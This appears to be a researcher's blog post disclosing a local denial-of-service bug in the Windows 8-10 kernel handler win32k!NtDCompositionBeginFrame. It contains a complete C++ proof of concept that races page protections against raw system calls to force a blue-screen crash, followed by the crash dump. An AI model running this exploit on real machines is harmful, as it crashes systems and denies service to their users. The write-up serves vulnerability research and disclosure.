Windows Kernel Local Denial-of-Service #2: win32k!NtDCompositionBeginFrame (Windows 8-10)

Another week, another way to locally crash the Windows kernel with an unhandled exception in ring-0 code (if you haven’t yet, see last week’s DoS in win32k!NtUserThunkedMenuItemInfo). Today, the bug is in the win32k!NtDCompositionBeginFrame system call handler, whose beginning can be translated into the following C-like pseudo-code:

NTSTATUS STDCALL NtDCompositionBeginFrame(HANDLE hDirComp, PINPUT_STRUCTURE lpInput, POUTPUT_STRUCTURE lpOutput) {
  NTSTATUS st;
  INPUT_STRUCTURE Input;
  DirectComposition::CConnection *Connection;

  if (lpInput != NULL) {
    try {
      ProbeForRead(lpInput, sizeof(INPUT_STRUCTURE), 1);
      RtlCopyMemory(&Input, lpInput, sizeof(INPUT_STRUCTURE));
      st = STATUS_SUCCCESS;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
      st = GetExceptionCode();
    }
  } else {
    st = STATUS_INVALID_PARAMETER;
  }

  KeEnterCriticalRegion();
  if (NT_SUCCESS(st)) {
    st = DirectComposition::CConnection::ReferenceHandle(hDirComp, &Connection);
    if (NT_SUCCESS(st)) {
      if (Microsoft_Windows_Win32kEnableBits & 1) {
        Template_xq(&DCompBeginFrameEvent, hDirComp, lpInput->SomeField);
      }
      [...]
    }
  }

  [...]
}

Since the i/o structure names and definitions are not known to me, I just generically called them INPUT_STRUCTURE and OUTPUT_STRUCTURE; their details are non-essential to understand the bug. Here, we can see that the 2nd argument (lpInput) is accessed twice: once in line 9, with a proper sanitization with an inlined ProbeForRead call and a try/except block, but then also in line 23, where a field at offset 0x10 (SomeField in the above listing) is read from the user pointer while exception handling is disabled. The Template_xq function is just a thin wrapper around EtwWrite, which is used for logging kernel-mode events. This is the bug we want to exploit.

In order to reach the vulnerable code, we have to meet a few conditions:

  1. Make sure that the initial copy from the pointer in line 9 succeeds, i.e. the address is valid and points to readable memory. This can be satisfied by running a race condition attack, where one thread continuously flips access rights for the memory page, while another one keeps invoking the affected system call in a loop.
  2. Have the DirectComposition::CConnection::ReferenceHandle function succeed by passing in a valid handle, which can be obtained by invoking the win32k!NtDCompositionCreateConnection system call in advance.
  3. Have the 0x1 flag set in the global Microsoft_Windows_Win32kEnableBits variable.

Intuitively, the third condition is as important as the other ones, since the Template_xq call only takes place if the expression evaluates to true. This is indeed the case for Windows 8.1 (both bitnesses):

However, for unclear reasons, the compiler used to build Windows 10 re-ordered the code such that the unsafe memory access takes place before the condition is checked, even though the resulting value is only used when the 0x1 flag is set:

I’m not sure whether this working as intended or a compiler bug, especially considering that moving the two instructions to the previous basic block is not a great optimization. In fact, it is probably even a deoptimization, as the instructions in question now execute always, instead of only when the logging function is called. Depending on what triggered this behavior and how the relevant compiler logic works, it is possible to imagine some scenarios in which other bugs could be inserted in various places in the kernel. This phenomenon probably needs more experimentation.

Anyway, since we don’t have to care about the win32k.sys configuration bitmask to construct a working proof-of-concept for Windows 10, the resulting code (which accounts for the other two mentioned conditions) may take the following simple form:

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

namespace globals {
  LPVOID lpVolatileMem;
}  // namespace globals

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

DWORD ThreadRoutine(LPVOID lpParameter) {
  DWORD flOldProtect;

  // Indefinitely alternate between R/W and NOACCESS rights.
  while (1) {
    VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_NOACCESS, &flOldProtect);
    VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_READWRITE, &flOldProtect);
  }
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtDCompositionCreateConnection = 0x140d;
  CONST ULONG __NR_NtDCompositionBeginFrame = 0x1403;

  // Initialize the thread as GUI.
  LoadLibrary(L"user32.dll");

  // Allocate memory for the buffer whose privileges are being flipped.
  globals::lpVolatileMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // Create the racing thread.
  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);

  // Create the connection.
  HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  DWORD hDComp = 0;
  NTSTATUS st = SystemCall32(__NR_NtDCompositionCreateConnection, hEvent, &hDComp);

  if (!NT_SUCCESS(st)) {
    printf("NtDCompositionCreateConnection failed, %x\n", st);
    return 1;
  }

  // Infinite loop trying to trigger the unhandled exception.
  while (1) {
    SystemCall32(__NR_NtDCompositionBeginFrame, hDComp, globals::lpVolatileMem);
  }

  return 0;
}

Starting the above program yields the following BSoD after a few seconds:

The full crash summary is as follows:

KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 9743cbd7, The address that the exception occurred at
Arg3: 00000000, Parameter 0 of the exception
Arg4: 00380010, Parameter 1 of the exception

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP: 
win32kbase!NtDCompositionBeginFrame+81
9743cbd7 8b4110          mov     eax,dword ptr [ecx+10h]

EXCEPTION_PARAMETER2:  00380010

BUGCHECK_STR:  0x1E_c0000005_R

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT

PROCESS_NAME:  NtDComposition

CURRENT_IRQL:  0

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre

EXCEPTION_RECORD:  bd4e7a18 -- (.exr 0xffffffffbd4e7a18)
ExceptionAddress: 9743cbd7 (win32kbase!NtDCompositionBeginFrame+0x00000081)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00380010
Attempt to read from address 00380010

TRAP_FRAME:  bd4e7afc -- (.trap 0xffffffffbd4e7afc)
ErrCode = 00000000
eax=00000000 ebx=97270412 ecx=00380000 edx=00000000 esi=00000000 edi=bd4e7ba8
eip=9743cbd7 esp=bd4e7b70 ebp=bd4e7c00 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
win32kbase!NtDCompositionBeginFrame+0x81:
9743cbd7 8b4110          mov     eax,dword ptr [ecx+10h] ds:0023:00380010=????????
Resetting default scope

LAST_CONTROL_TRANSFER:  from 8180be66 to 8178b554

STACK_TEXT:  
bd4e7044 8180be66 00000003 b8aac5dd 00000065 nt!RtlpBreakWithStatusInstruction
bd4e7098 8180b8b3 8497f340 bd4e74b8 bd4e74ec nt!KiBugCheckDebugBreak+0x1f
bd4e748c 8178a39a 0000001e c0000005 9743cbd7 nt!KeBugCheck2+0x73a
bd4e74b0 8178a2d1 0000001e c0000005 9743cbd7 nt!KiBugCheck2+0xc6
bd4e74d0 8180950c 0000001e c0000005 9743cbd7 nt!KeBugCheckEx+0x19
bd4e74ec 8179dba2 bd4e7a18 818ad328 bd4e75e0 nt!KiFatalExceptionHandler+0x1a
bd4e7510 8179db74 bd4e7a18 818ad328 bd4e75e0 nt!ExecuteHandler2+0x26
bd4e75d0 81702f41 bd4e7a18 bd4e75e0 00010037 nt!ExecuteHandler+0x24
bd4e79fc 81799535 bd4e7a18 00000000 bd4e7afc nt!KiDispatchException+0x127
bd4e7a68 8179be37 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
bd4e7a68 9743cbd7 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
bd4e7c00 81798777 00000004 00380000 001cfcc1 win32kbase!NtDCompositionBeginFrame+0x81
bd4e7c00 001d1bb6 00000004 00380000 001cfcc1 nt!KiSystemServicePostCall
006ff7ac 001d1cde 00001403 00000004 00380000 NtDCompositionBeginFrame!SystemCall32+0x26
006ff8cc 001d249a 00000001 008a1d68 008a4c28 NtDCompositionBeginFrame!main+0xfe
006ff918 001d267d 006ff934 74808e94 00528000 NtDCompositionBeginFrame!__tmainCRTStartup+0x11a
006ff920 74808e94 00528000 74808e70 b858fdc5 NtDCompositionBeginFrame!mainCRTStartup+0xd
006ff934 76f8e9f2 00528000 2ec6a92b 00000000 KERNEL32!BaseThreadInitThunk+0x24
006ff97c 76f8e9c1 ffffffff 76fd5d16 00000000 ntdll!__RtlUserThreadStart+0x2b
006ff98c 00000000 001cfcc1 00528000 00000000 ntdll!_RtlUserThreadStart+0x1b

And that’s it. :) Thanks for reading and see you next time!